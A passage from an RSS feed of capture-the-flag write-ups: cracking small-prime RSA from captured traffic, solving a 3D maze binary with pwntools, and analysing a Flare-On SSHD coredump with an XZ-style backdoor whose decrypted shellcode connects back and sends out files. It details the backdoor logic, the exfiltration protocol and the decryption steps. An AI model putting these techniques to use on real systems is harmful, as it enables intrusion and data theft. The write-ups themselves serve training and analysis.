BigInteger.Parse(Encoding.UTF8.GetString(Convert.FromBase64String(ps.N)))<br>    };<br>}</pre><p>Decodes the Base64 values and parses them as BigInteger. This gives us raw integer values for E and N.</p><h3>The Encryptor Class</h3><pre>public string Encrypt(string message) {<br>    BigInteger number = BigInteger.ModPow(<br>        this.ConvertToBigInteger(message),<br>        this._e,<br>        this._n<br>    );<br>    return this.ConvertToBase64String(number);<br>}</pre><p>BigInteger.ModPow(value, exponent, modulus) computes value^exponent mod modulus. This is <strong>textbook RSA encryption</strong>: C = M^E mod N. The suspicion we formed from the PCAP is confirmed — this is RSA, implemented from scratch in C#.</p><h3>Step 3: Extracting the Numbers</h3><p>Now we decode the values captured from the PCAP.</p><p>The E field decodes trivially from Base64:</p><pre>E = 13</pre><p>The N field decodes to a large integer. Converting it:</p><pre>N = 79708814831202591603748435843803382688995262125144554448601236258456357448165351296977428<br>9</pre><p>And from the POST request, the encrypted message C decodes to:</p><pre>C = 25362787685318984621017933613805173057611266695929779348248626062929453668352021340134097<br>97</pre><p>So we have:</p><ul><li><strong>N</strong> — the RSA modulus (public)</li><li><strong>E = 13</strong> — the public exponent (public)</li><li><strong>C</strong> — the ciphertext (captured from the network)</li></ul><p>What we’re missing is <strong>D</strong> — the private decryption exponent.</p><h3>Step 4: Why Small E is a Problem</h3><p>In RSA, the modulus N is the product of two large secret primes: N = p × q. The security of RSA depends entirely on the difficulty of factoring N back into p and q.</p><p>The public exponent E = 13 is a red flag. While small public exponents are common in practice (e.g., E = 65537), they can be dangerous when combined with other weaknesses — and in this case, the primes chosen for N are far too small for a number of this magnitude.</p><p>To compute the private key D, we need to:</p><ol><li>Factor N into p and q</li><li>Compute φ(N) = (p-1)(q-1)</li><li>Find D such that D × E ≡ 1 (mod φ(N))</li></ol><p>The challenge flag even hints at this: D0n7_U53_5m4LL_Pr1m3_nUm83r5_F0r_r54 — &quot;Don&#39;t use small prime numbers for RSA.&quot;</p><h3>Step 5: Factoring N with YAFU</h3><p>We use <strong>YAFU</strong> (Yet Another Factoring Utility), an open-source number factoring tool, to decompose N:</p><pre>yafu-x64.exe factor(797088148312025916037484358438033826889952621251445544486012362584563574481653512969774289)</pre><p>After a long wait (YAFU uses a combination of trial division, ECM, and the Self-Initializing Quadratic Sieve):</p><pre>***factors found***<br>P46 = 1055010038907674158948596018078179009469596059<br>P45 = 755526600616338348298973855077055462592339971<br>ans = 1</pre><p>We have our two primes:</p><pre>p = 1055010038907674158948596018078179009469596059<br>q = 755526600616338348298973855077055462592339971</pre><h3>Step 6: Computing the Private Key</h3><p>With p and q in hand, we use an RSA Tool to compute D. The steps are:</p><ol><li>Compute φ(N) = (p - 1) × (q - 1)</li><li>Find the modular inverse: D = E⁻¹ mod φ(N)</li></ol><p>The resulting private exponent:</p><pre>D = 42920131062955241632787619300509513755612833354510479499753838364299660840653332971960521<br>7</pre><h3>Step 7: Decrypting the Message</h3><p>Now we compute M = C^D mod N — the RSA decryption operation. Plugging our values into the RSA Tool:</p><pre>Plaintext (M): D0n7_U53_5m4LL+Pr1m3_nUm83r5_F0r_r54</pre><p>That’s the message Carlos sent. And fittingly, it’s also the flag.</p><p><strong>Flag: </strong><strong>D0n7_U53_5m4LL+Pr1m3_nUm83r5_F0r_r54</strong></p><p><em>Translation: “Don’t use small prime numbers for RSA.”</em></p><h3>The Full Attack Chain — Reconstructed</h3><p>Here’s the complete picture of what happened and how we reversed it:</p><p>StepWhat Carlos DidWhat We Did1Downloaded UndergroundChat.exeExtracted the binary from PCAP2Program fetched RSA public key (E, N) for the receiverCaptured E and N from the key API response3Program encrypted the message as C = M^E mod NCaptured C from the POST request body4Sent the ciphertext to the serverDecompiled the binary to confirm RSA usage5—Factored N into p and q using YAFU6—Computed private key D from p, q, and E7—Decrypted C using M = C^D mod N</p><h3>Key Takeaways</h3><p><strong>For defenders:</strong></p><ul><li><strong>Never use small or weak primes</strong> when generating RSA keys. The entire security of RSA rests on N being computationally infeasible to factor. If your primes are too small, tools like YAFU, msieve, or even online factoring databases (factordb.com) will crack them.</li><li><strong>Don’t roll your own crypto.</strong> UndergroundChat.exe implemented RSA from scratch with BigInteger.ModPow. Real-world applications should use vetted libraries (e.g., BouncyCastle, OpenSSL) that enforce key size minimums and padding schemes.</li><li><strong>Network captures reveal everything.</strong> The public key and ciphertext were transmitted in plaintext HTTP. Even without breaking the crypto, an attacker monitoring the network knows who is communicating with whom.</li></ul><p><strong>For CTF players:</strong></p><ul><li><strong>C# binaries are fully decompilable.</strong> Tools like dnSpy, ILSpy, and Smart Assembly Explorer can recover near-perfect source code. If you see a .NET binary, decompile first.</li><li><strong>YAFU is your friend for RSA factoring.</strong> For CTF-grade RSA challenges, it handles a surprising range of weak moduli. For even faster results, check <a href="http://factordb.com/">factordb.com</a> first — the factor may already be known.</li><li><strong>Small E is a red flag.</strong> E = 3 or E = 13 in a CTF almost always signals a vulnerability, whether it&#39;s small exponent attacks, common modulus attacks, or simply weak prime generation.</li></ul><p><em>This is part of an ongoing CTF write-up series. Next up: proxying AWS traffic through BurpSuite for isolated EC2 instances and Docker containers.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef3697bbfb52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Navigating the Impossible: Reverse Engineering a 3D Maze Binary]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/navigating-the-impossible-reverse-engineering-a-3d-maze-binary-924234b4a977?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/924234b4a977</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[business-ctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 01:31:01 GMT</pubDate>
            <atom:updated>2026-03-21T20:01:56.375Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wg8otLE1leg8UoSfYGTu8g.png" /></figure><p><em>How we used dynamic instrumentation, backtracking DFS, and pwntools to solve HTB’s Tunnel Madness — a 3D maze hidden inside an ELF binary.</em></p><h3>The Challenge at a Glance</h3><p><strong>Category:</strong> Reverse Engineering | <strong>Difficulty:</strong> Medium | <strong>Event:</strong> HTB CTF</p><p>You’re handed a single Linux binary called tunnel. No source code. No hints beyond the name. Your job: navigate a hidden 3D maze embedded inside it and retrieve the flag.</p><p><strong>Tools used:</strong> file, strings, Python, pwntools</p><h3>Step 1: Know What You’re Dealing With</h3><p>Before diving into a disassembler, always start with the basics.</p><pre>$ file tunnel<br>tunnel: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),<br>dynamically linked, not stripped</pre><p>Good news — it’s not stripped, so symbol names are intact. Next, strings:</p><pre>$ strings tunnel<br>Direction (L/R/F/B/U/D/Q)?<br>Cannot move that way<br>Goodbye!<br>/flag.txt<br>HTB{fake_flag_for_testing}<br>You break into the vault and read the secrets within...</pre><p>This tells us almost everything we need:</p><ul><li>The binary accepts directional inputs: <strong>L</strong>eft, <strong>R</strong>ight, <strong>F</strong>orward, <strong>B</strong>ackward, <strong>U</strong>p, <strong>D</strong>own, and <strong>Q</strong>uit</li><li>Wrong moves produce &quot;Cannot move that way&quot;</li><li>A successful path triggers &quot;You break into the vault and read the secrets within...&quot; followed by the real flag</li><li>There’s a /flag.txt reference — the flag is read from a file at runtime</li></ul><p>Six directions. Three dimensions. This is a 3D maze.</p><h3>Step 2: Running the Binary and Observing Behavior</h3><p>Before writing a single line of automation, we interact manually:</p><pre>$ ./tunnel</pre><pre>Direction (L/R/F/B/U/D/Q)? L<br>Cannot move that way</pre><pre>Direction (L/R/F/B/U/D/Q)? R<br>Cannot move that way</pre><pre>Direction (L/R/F/B/U/D/Q)? U</pre><pre>Direction (L/R/F/B/U/D/Q)? U</pre><pre>Direction (L/R/F/B/U/D/Q)? U</pre><pre>Direction (L/R/F/B/U/D/Q)? U<br>Cannot move that way</pre><p>A few immediate observations:</p><ol><li>Every prompt is preceded by a newline</li><li>Invalid moves print &quot;Cannot move that way&quot; — with <strong>no newline before it</strong></li><li><strong>The first valid move is </strong><strong>U</strong> — Left and Right are blocked at the start</li><li>We can move U multiple times before hitting a wall, suggesting height in the maze</li></ol><p>This behavioral fingerprinting is crucial. The output format differences between valid and invalid moves become the backbone of our automation strategy.</p><h3>Step 3: Building a Mental Model</h3><p>Based on what we know, we can model this as a coordinate system:</p><ul><li>Start position: (0, 0, 0)</li><li>Each move shifts one unit along one axis</li><li>The maze is 3D — walls exist in all six directions</li><li>There may be <strong>cycles</strong> — some paths loop back to previously visited positions</li><li>Only one (or a few) paths lead to the flag</li></ul><p>The goal is to find a sequence of moves that takes us from (0, 0, 0) to some exit coordinate (x, y, z) where the flag lives.</p><p>We assign coordinate deltas to each direction:</p><pre>MOVES      = [&#39;L&#39;,       &#39;R&#39;,        &#39;U&#39;,       &#39;D&#39;,        &#39;F&#39;,       &#39;B&#39;      ]<br>DIRECTIONS = [(0, 1, 0), (0, -1, 0), (0, 0, 1), (0, 0, -1), (1, 0, 0), (-1, 0, 0)]</pre><h3>Step 4: The is_valid Function — Our Oracle</h3><p>We need a function that can test any sequence of moves and tell us:</p><ul><li>-1 → This path hits an invalid move (dead end)</li><li>0 → This path reaches the flag (success!)</li><li>1 → This path is valid so far but incomplete</li></ul><p>We use <strong>pwntools</strong> to communicate with the binary programmatically:</p><pre>from pwn import *<br><br>def is_valid(path):<br>    with remote(&#39;localhost&#39;, 1337) as p:<br>        p.recvline()          # Ignore initial newline<br>        p.sendline(b&#39;a&#39;)      # Trigger the first prompt<br>        p.recvline()          # Ignore the banner<br>        for move in path:<br>            p.sendline(move.encode())<br>            output = p.recvline().decode().strip()<br>            if &quot;Cannot&quot; in output:    # Wall hit<br>                return -1<br>            elif &quot;secrets&quot; in output: # Flag found!<br>                flag = p.recvline().decode()<br>                print(f&quot;Valid path: {path}&quot;)<br>                print(f&quot;Flag: {flag}&quot;)<br>                return 0<br>        return 1  # Valid but incomplete</pre><p>Each call to is_valid spins up a fresh connection, replays the move sequence, and reads the output. The binary becomes a black box we query — we don&#39;t need to reverse its internals at all.</p><blockquote><strong><em>Note:</em></strong><em> The binary was set up behind a socat listener on localhost:1337 for this to work. Alternatively, you can use </em><em>process(&#39;./tunnel&#39;) instead of </em><em>remote() for local testing.</em></blockquote><h3>Step 5: DFS with Backtracking — Finding the Path</h3><p>With a working oracle, we implement a depth-first search with backtracking. The key insight is that we track visited coordinates to avoid infinite loops:</p><pre>def find_path(current_pos, current_path, seen):<br>    x, y, z = current_pos<br>    for (dx, dy, dz), move in zip(DIRECTIONS, MOVES):<br>            next_pos = (x + dx, y + dy, z + dz)<br>            # Skip already-visited positions to avoid cycles<br>            if next_pos in seen:<br>                continue<br>            result = is_valid(current_path + move)<br>            if result == -1:    # Wall - prune this branch<br>                continue<br>            elif result == 0:   # Flag found!<br>                print(f&quot;Exit coordinate: {next_pos}&quot;)<br>                return<br>            # Valid step - go deeper<br>            seen.add(next_pos)<br>            find_path(next_pos, current_path + move, seen)<br>            seen.remove(next_pos)  # Backtrack</pre><p>The seen.remove() at the end is the backtracking step — it allows the same position to be visited via a different path, which is important because the maze may have multiple routes to the exit.</p><h3>Step 6: Running It</h3><pre>def main():<br>    context.log_level = &#39;error&#39;  # Suppress pwntools output<br>    seen = {(0, 0, 0)}<br>    print(&quot;Starting pathfinding...\n&quot;)<br>    find_path((0, 0, 0), &quot;&quot;, seen)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><pre>$ python3 solve.py<br>Starting pathfinding...<br><br>Valid path: UUURFURURRFRRFFUUFURRUFUFFRFUFUUUUFFRRUUUFURFDFFUFFRRRRRFRR<br>Flag: HTB{tunn3l1ng_ab0ut_in_3d}<br>Exit Co-Ordinate: (19, -19, 19)<br>Valid path: UUURFURURRFRRFFUUFURRUFUFFRFUFUUUUFFRRUUUFURFDFFUFFRRDRURRFRR<br>Flag: HTB{tunn3l1ng_ab0ut_in_3d}<br>Exit Co-Ordinate: (19, -19, 19)<br>Valid path: UUURFURURRFRRFFUUFURRUFUFFRFUFUUUUFFRRUUUFURFDFFUFFRFRBRRRFRR<br>Flag: HTB{tunn3l1ng_ab0ut_in_3d}<br>Exit Co-Ordinate: (19, -19, 19)</pre><p>The solver finds <strong>multiple valid paths</strong> — all leading to the same exit coordinate (19, -19, 19). The maze has diverging routes that converge at the same destination, which is why backtracking was essential rather than stopping at the first solution.</p><p><strong>Flag: </strong><strong>HTB{tunn3l1ng_ab0ut_in_3d}</strong></p><h3>Why This Approach Works — and Why It’s Elegant</h3><p>The conventional approach to a challenge like this would be to open the binary in Ghidra or IDA, reverse engineer the maze data structure, extract the adjacency map, and solve it statically. That works, but it’s slow and brittle.</p><p>What we did instead is <strong>dynamic black-box solving</strong>: we treated the binary as an oracle and let it answer our questions. This approach has several advantages:</p><ul><li><strong>No disassembly required</strong> — we never looked at a single instruction</li><li><strong>Automatically handles complexity</strong> — if the maze uses obfuscated coordinate math or encrypted adjacency tables, it doesn’t matter; the binary handles it for us</li><li><strong>Finds all solutions</strong> — because we use full backtracking, not just a greedy path finder</li></ul><p>The tradeoff is speed — each move validation requires spawning a process and replaying the full path from the start. For a maze of this size it’s acceptable, but for a deeper maze you’d want to cache valid prefixes or parallelize the search.</p><h3>The Complete Solver</h3><pre>from pwn import *<br><br>context.log_level = &#39;error&#39;<br>MOVES      = [&#39;L&#39;,       &#39;R&#39;,        &#39;U&#39;,       &#39;D&#39;,        &#39;F&#39;,       &#39;B&#39;      ]<br>DIRECTIONS = [(0, 1, 0), (0, -1, 0), (0, 0, 1), (0, 0, -1), (1, 0, 0), (-1, 0, 0)]<br>def is_valid(path):<br>    with remote(&#39;localhost&#39;, 1337) as p:<br>        p.recvline()<br>        p.sendline(b&#39;a&#39;)<br>        p.recvline()<br>        for move in path:<br>            p.sendline(move.encode())<br>            output = p.recvline().decode().strip()<br>            if &quot;Cannot&quot; in output:<br>                return -1<br>            elif &quot;secrets&quot; in output:<br>                flag = p.recvline().decode()<br>                print(f&quot;Valid path: {path}&quot;)<br>                print(f&quot;Flag: {flag}&quot;)<br>                return 0<br>        return 1<br>def find_path(current_pos, current_path, seen):<br>    x, y, z = current_pos<br>    for (dx, dy, dz), move in zip(DIRECTIONS, MOVES):<br>        next_pos = (x + dx, y + dy, z + dz)<br>        if next_pos in seen:<br>            continue<br>        result = is_valid(current_path + move)<br>        if result == -1:<br>            continue<br>        elif result == 0:<br>            print(f&quot;Exit Co-Ordinate: {next_pos}&quot;)<br>            return<br>        seen.add(next_pos)<br>        find_path(next_pos, current_path + move, seen)<br>        seen.remove(next_pos)<br>def main():<br>    seen = {(0, 0, 0)}<br>    print(&quot;Starting pathfinding...\n&quot;)<br>    find_path((0, 0, 0), &quot;&quot;, seen)<br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>Key Takeaways</h3><ul><li><strong>Behavioral observation beats static analysis</strong> for well-structured input/output binaries. Understanding the output format differences between valid and invalid moves was the key insight that unlocked everything.</li><li><strong>DFS with backtracking</strong> is the right tool for maze problems with cycles. Greedy search would get trapped in loops.</li><li><strong>pwntools makes binary interaction trivial.</strong> Spawning processes, sending input, and parsing output becomes a few lines of Python.</li><li><strong>Black-box oracle solving</strong> is a powerful technique — when reversing the internals is hard, let the binary do the work for you.</li></ul><p><em>This is part of an ongoing CTF write-up series. Up next: breaking RSA encryption through network traffic analysis in “ACCESS DENIED: Hacking the Chat.”</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=924234b4a977" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When SSH Crashes and Criminals Come Knocking: Reversing the Flare-On SSHD Challenge]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/when-ssh-crashes-and-criminals-come-knocking-reversing-the-flare-on-sshd-challenge-9440d58f5f42?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9440d58f5f42</guid>
            <category><![CDATA[flare-on]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 01:31:00 GMT</pubDate>
            <atom:updated>2026-03-21T20:19:21.282Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txPmtyByUlsIac9mALLKoA.png" /></figure><p><em>A deep dive into coredump forensics, the XZ backdoor, ChaCha20-encrypted shellcode, and how a crashed server led us to a stolen flag.</em></p><h3>The Setup</h3><blockquote>“Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole!”</blockquote><p>This is <strong>Level 5 of Flare-On</strong>, and it’s one of the most layered forensics + reverse engineering challenges you’ll encounter. We’re given a 7z archive — not a running system, not a VM image, just a raw copy of the files on a crashed Linux machine. Our job: figure out what was stolen.</p><p>By the end of this walkthrough, we’ll have traced a crash through a backdoored liblzma.so, reverse engineered ChaCha20-encrypted shellcode, interacted with it live, and decrypted the stolen data to retrieve the flag.</p><p><strong>Tools used:</strong> GDB + Pwndbg, IDA Pro, strace, netcat, C++ debug stub, 010 Hex Editor</p><h3>Step 1: Surveying the Wreckage</h3><p>The archive extracts to a partial Linux filesystem. It’s not bootable, but key directories are intact. The first stop is /root, which contains two files:</p><ul><li>flag.txt — an ASCII art troll that ends with <em>&quot;if only it were that easy......&quot;</em></li><li>anonymized.phony — an empty placeholder, possibly dropped by malware</li></ul><p>The real treasure is buried in /var/lib/systemd/coredump/: a coredump file for sshd.</p><pre>sshd.core.93794.0.0.11.1725917676   ~2 MB</pre><p>A coredump is a snapshot of a process’s memory at the moment it crashed. It tells us exactly what was happening — registers, stack, loaded libraries, everything — right before the program died.</p><h3>Step 2: Loading the Coredump in GDB</h3><p>We start GDB with the extracted sshd binary and point it at the coredump:</p><pre>gdb ./extracted/usr/sbin/sshd -c ./sshd.core.93794.0.0.11.1725917676</pre><p>Immediately, GDB complains — it can’t find the library files because it’s looking in your local system paths instead of the ones bundled in the archive. Fix this by redirecting GDB’s library search path before loading the core:</p><pre>set sysroot &lt;path to extracted files root&gt;<br>core &lt;path to coredump&gt;</pre><p>Once loaded, we run regs and see something immediately interesting:</p><pre>RAX  0<br>RIP  0<br>R9   0x7ffcc6601e10 → &#39;undefined symbol: RSA_public_decrypt &#39;</pre><p>Two things stand out:</p><ol><li><strong>RIP is 0</strong> — the program tried to call a function at address zero, which is an instant crash (segfault).</li><li><strong>R9 contains a string</strong> — &quot;undefined symbol: RSA_public_decrypt &quot; — note the trailing space.</li></ol><p>That string is a clue. A quick web search for RSA_public_decrypt in the context of a crash reveals it&#39;s tied to the <strong>XZ backdoor</strong> — one of the most sophisticated supply chain attacks discovered in 2024. We&#39;re on the right track.</p><h3>Step 3: Tracing the Crash — Following the Stack</h3><p>We run backtrace (or bt) to see the call history:</p><pre>#0  0x0000000000000000<br>#1  0x00007f4a18c8f88f from /lib/x86_64-linux-gnu/liblzma.so.5<br>...</pre><p>The crash originates inside liblzma.so. The return address 0x00007f4a18c8f88f is our entry point into the analysis.</p><h3>Why liblzma?</h3><p>The XZ backdoor, discovered in early 2024, injected malicious code into liblzma.so that hooked RSA_public_decrypt at runtime. When SSHD called the function during authentication, the hook would intercept it. This challenge appears to be directly inspired by that real-world attack.</p><h3>Step 4: Disassembling the Backdoor in IDA</h3><p>To get meaningful analysis, we load liblzma.so into IDA. One problem: the section headers have had their library name stripped — it shows up as &quot;(deleted)&quot; in the process mappings.</p><p>We use GDB’s info proc mappings to find the library&#39;s base address, then rebase in IDA:</p><pre>Edit → Segments → Rebase Program → [base address]</pre><p>Now we jump to the return address 0x00007f4a18c8f88f and land in the relevant function. IDA&#39;s decompiler reveals the logic:</p><pre>v9 = &quot;RSA_public_decrypt&quot;;<br>if (!getuid()) {                    // If running as root...<br>    if (*from == -985630136) {      // ...and magic value present...<br>        // Execute optional backdoor code path<br>    }<br>    v9 = &quot;RSA_public_decrypt &quot;;    // Trailing space — fake symbol name<br>}<br>v10 = dlsym(0LL, v9);              // Look up the symbol<br>return v10(flen, from, to, rsa, padding);  // Call it</pre><p>The logic is elegant and nasty:</p><ul><li>If the process is <strong>not</strong> running as root → use the real RSA_public_decrypt, behave normally</li><li>If running as <strong>root</strong> → switch to &quot;RSA_public_decrypt &quot; (with a trailing space), which doesn&#39;t exist → dlsym() returns NULL → calling NULL crashes the process</li></ul><p>The crash wasn’t an accident. It was the backdoor failing because the fake symbol name wasn’t registered.</p><h3>Step 5: The Optional Code Path — Was It Taken?</h3><p>There’s a second condition: if the from buffer (the signature data passed to RSA decrypt) starts with the magic value 0xC5407A48, an additional block of code runs before the crash.</p><p>We check the coredump. In the System V x86–64 calling convention, the second argument (from) is passed in <strong>RSI</strong>, which gets saved to <strong>RBP</strong> at the function&#39;s start:</p><pre>pwndbg&gt; hex $rbp 0x240<br>+0000  48 7a 40 c5 ...   ← Magic value 0xC5407A48 in little-endian!</pre><p>The optional code path was taken. Something ran before the crash.</p><p>We dump the full signature buffer for later:</p><pre>dump binary memory signature.bin $rsi ($rsi+$rdi)</pre><h3>Step 6: What Did the Optional Code Do?</h3><p>The optional block does the following:</p><pre>get_key(key_nonce, from + 4, from + 0x24, NULL);   // Extract key material from signature<br>dest = mmap(NULL, size_n, 7, 34, -1, NULL);         // Allocate executable memory<br>mystery_sub = memcpy(dest, &amp;src, size_n);            // Copy encrypted blob into it<br>ChaCha20(key_nonce, mystery_sub, size_n);            // Decrypt the blob in-place<br>mystery_sub();                                        // Execute the decrypted shellcode<br>get_key(key_nonce, from + 4, from + 0x24, NULL);    // Re-derive key<br>ChaCha20(key_nonce, mystery_sub, size_n);            // Re-encrypt the shellcode</pre><p>The backdoor:</p><ol><li>Extracts a ChaCha20 key and nonce from the SSH certificate’s signature data</li><li>Decrypts an encrypted blob embedded in liblzma.so into executable memory</li><li>Runs the decrypted shellcode</li><li>Re-encrypts the shellcode in memory — erasing evidence</li></ol><p>This is why forensic analysis is hard: the shellcode never exists in plaintext on disk. It’s decrypted, run, and re-encrypted entirely in RAM.</p><p>We identify the ChaCha20 routine by spotting the string &quot;expand 32-byte k&quot; in the key material structure — the classic ChaCha20 magic constant.</p><h3>Step 7: Building a Debug Stub to Run the Shellcode</h3><p>To interact with the shellcode, we build a small C++ program that loads liblzma.so and calls the backdoor hook function directly, with the same arguments captured from the coredump:</p><pre>#include &lt;iostream&gt;<br>#include &lt;dlfcn.h&gt;<br><br>typedef void (*FuncType)(int, char*, char*, char*, int);<br>int main() {<br>    void* handle = dlopen(&quot;./liblzma.so.5.4.1&quot;, RTLD_LAZY);<br>    <br>    // Find a known symbol and calculate offset to hook function<br>    unsigned char* knownSym = (unsigned char*)dlsym(handle, &quot;lzma_vli_size&quot;);<br>    FuncType hook = (FuncType)(knownSym + 0x450);<br>    <br>    // Parameters from the coredump<br>    int flen = 0xf96;<br>    unsigned char hexData[512] = { 0x48, 0x7A, 0x40, 0xC5, ... };<br>    char output[1024] = {0};<br>    char rsaPlaceholder[1024] = {0};<br>    <br>    hook(flen, (char*)hexData, output, rsaPlaceholder, 0);<br>    dlclose(handle);<br>    return 0;<br>}</pre><p>We compile and run it as root (required, since the backdoor checks getuid() == 0):</p><pre>g++ debug_hook.cpp -o debug_hook -fpermissive<br>sudo gdb ./debug_hook</pre><h3>Step 8: Patching the Shellcode to Connect Locally</h3><p>Running the debug stub with strace reveals what the shellcode does:</p><pre>connect(3, {AF_INET, htons(1337), inet_addr(&quot;10.0.2.15&quot;)}, 16)<br>recvfrom(3, ..., 32, ...)   ← Waiting for 32 bytes<br>recvfrom(3, ..., 12, ...)   ← Waiting for 12 bytes<br>recvfrom(3, ..., 4, ...)    ← Waiting for 4 bytes<br>recvfrom(3, ..., ...)       ← Waiting for filename</pre><p>The shellcode connects to a remote address on port <strong>1337</strong> and expects the attacker to send it data. This is the attacker’s C2 communication protocol.</p><p>Since we need to interact with it locally, we patch the shellcode’s IP address in memory from 10.0.2.15 (0x0a00020f) to localhost 127.0.0.1 (0x7f000001):</p><pre>set *0x7ffff7ffadd4 = 0x7f000001</pre><p>After the shellcode re-encrypts itself (the second ChaCha20 call), we dump the modified encrypted blob and replace the original blob in liblzma.so using a hex editor — so the patch persists between runs.</p><h3>Step 9: Understanding the Protocol</h3><p>With the shellcode patched to connect locally, we start a netcat listener and interact with it:</p><pre>nc -lvnp 1337</pre><p>Running the debug stub and sending data reveals the protocol:</p><p>BytesPurpose1–32ChaCha20 encryption key33–44ChaCha20 nonce (12 bytes)45–48Filename length (4 bytes, little-endian)49+Filename</p><p>After receiving this, the shellcode opens the specified file, reads up to 128 bytes, encrypts the data with ChaCha20 using the supplied key and nonce, and sends it back.</p><p><strong>This is a file exfiltration tool.</strong> The attacker connected to a compromised SSHD, sent a key, nonce, and filename — and got back encrypted file contents.</p><h3>Step 10: Recovering the Stolen Data</h3><p>The original attacker’s key, nonce, and the target filename are all preserved in the coredump’s stack memory. We find them by:</p><ol><li>Locating the data in our debug stub’s stack</li><li>Calculating the offset: $rsp - 0x7fffffffad48 = 0x0012b0</li><li>Applying that offset in the coredump: hex $rsp-0x0012b0 0x100</li></ol><p>The memory dump reveals:</p><ul><li>The <strong>key</strong> and <strong>nonce</strong> (first 44 bytes)</li><li>The <strong>filename</strong>: /root/certificate_signing_key.txt</li><li>The <strong>encrypted file contents</strong> — 38 bytes, located at filename_address + 0x100</li></ul><p>We dump the key material:</p><pre>dump binary memory decrypt.in 0x7ffcc6600be8 (0x7ffcc6600be8+0x30)<br>dump binary memory orig_encrypted.bin 0x7ffcc6600d18 (0x7ffcc6600d18+0x26)</pre><p>Then we build the complete input file (key + nonce + filename length + filename + encrypted data), start a fresh netcat listener, and run the debug stub:</p><pre>nc -lvnp 1337 &lt; decrypt.in &gt; decrypt.out<br>sudo ./debug_hook</pre><p>Opening decrypt.out:</p><pre>supp1y_cha1n_sund4y@flare-on.com</pre><p><strong>Flag: </strong><strong>supp1y_cha1n_sund4y@flare-on.com</strong></p><h3>The Full Attack Chain — Reconstructed</h3><p>Looking back, this is what the attacker did:</p><ol><li>Compromised a machine running a backdoored version of liblzma.so (à la XZ backdoor)</li><li>Sent a crafted SSH authentication packet containing a ChaCha20 key, nonce, and magic trigger value</li><li>The backdoor decrypted and ran shellcode embedded in liblzma.so</li><li>The shellcode connected back to the attacker on port 1337</li><li>The attacker sent their key, nonce, and a target filename</li><li>The shellcode read /root/certificate_signing_key.txt, encrypted it, and sent it back</li><li>The shellcode re-encrypted itself in memory, leaving minimal forensic traces</li></ol><p>The only reason we could recover anything is that SSHD crashed mid-operation — because the re-encryption left the fake RSA_public_decrypt symbol name in place, and dlsym() returned NULL.</p><p>The crash was the attacker’s mistake. And it was ours to exploit.</p><h3>Key Takeaways</h3><ul><li><strong>Coredumps are goldmines.</strong> Registers, stack history, and heap state at the moment of a crash can tell you everything about what was running.</li><li><strong>The XZ backdoor was real.</strong> This challenge is a faithful recreation of techniques used in one of the most sophisticated supply chain attacks in recent history.</li><li><strong>ChaCha20 is symmetric.</strong> The same function encrypts and decrypts — which is why we could replay the attacker’s own key to reverse the exfiltration.</li><li><strong>Shellcode that erases itself is common.</strong> Re-encrypting in-memory shellcode after execution is a standard anti-forensics technique. Coredumps caught it mid-act here, but in a clean exit scenario it would have vanished.</li></ul><p><em>Next up: reversing a 3D maze binary in the Tunnel Madness CTF challenge. Follow along for more write-ups.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9440d58f5f42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unscrambling the Chaos: Reverse Engineering a Multi-Layer VBScript Payload]]></title>
            <link>https://medium.com/@asif.iqbal.gazi/unscrambling-the-chaos-reverse-engineering-a-multi-layer-vbscript-payload-36702805ca9b?source=rss-aeac94886ce6------2</link>
            <guid isPermaLink="false">https://medium.com/p/36702805ca9b</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[business-ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Asif Iqbal]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 00:15:57 GMT</pubDate>
            <atom:updated>2026-03-21T20:13:28.248Z</atom:updated>
